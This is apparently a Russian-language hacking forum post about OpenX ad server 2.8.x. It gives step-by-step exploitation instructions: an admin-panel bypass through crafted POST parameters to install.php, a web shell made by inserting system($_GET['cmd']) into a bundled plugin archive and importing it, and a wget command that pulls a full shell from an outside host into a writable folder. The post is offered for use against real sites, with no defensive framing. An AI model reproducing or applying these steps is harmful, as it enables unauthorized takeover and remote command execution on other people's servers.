Уязвимости OpenX 2.8.0
запрашиваем http:/site.com/openx/www/admin/install.php
оказываемся в админке если есть права на запись в кофиг фаил заливаем шелл
Уязвимости OpenX 2.8.2
В паблике реализации уязвимости пока не видел :
запрашиваем: http:/site.com/openx/www/admin/install.php
передаём постом параметры : btn_openads=1&btn_plugins=1
попадаем в админку заливаем шелл )
узязвимый код в install.php :
PHP код:
..........................................
// No upgrade file? No installer! Unless the user is in the last step
if (!file_exists(MAX_PATH.'/var/UPGRADE') && !isset($_POST['btn_openads'])) {
header("Location: index.php");
exit;
}
.........................................
наличие btn_openads в посте пропускает нас дальше :
PHP код:
else if (array_key_exists('btn_plugins', $_POST))
{
require_once MAX_PATH.'/lib/JSON/JSON.php';
$aUrls = array();
наличие btn_plugins пропускает нас в админку !
Альтернативный спосов заливки shell
Берем стандартный плагин для openx из папки etc/plugins/ скрипта установки.
Добавляем в начало любого из файлов system($_GET['cmd']) для примера : Открываем openX3rdPartyServers.zip и в /plugins/3rdPartyServers/ox3rdPartyServers/ файлу архива добавляем к adtech.class.php system($_GET['cmd']) сохраняем имеем универсальный шелл для версий выше 2.6
Для заливки шелла заходим в админку жмякаем кнопку плагинс в 2,8 версии (В 2,6 тыкаем конфиг->плагинс )в открышемся вкладке такаем кнопку обзор выбераем где у нас хранится наш изменённый openX3rdPartyServers.zip жмякаем на кнопку import code нажимаем кнопку конфиг и наш шелл подгружается ))) или по прямому адресу http:/site.com/openx/plugins/3rdPartyServers/ox3rdPartyServers/adtech.class.php )))))) ещём другую папку доступную для записи к примеру www/images/ (всегда доступна на запись ) и заливаем полноценный шелл к примеру (если есть wget)
"cd ../images/ && wget -O shell.php http://shell.com/shell.txt")
по адресу *www/images/shell.php имеем полноценный шелл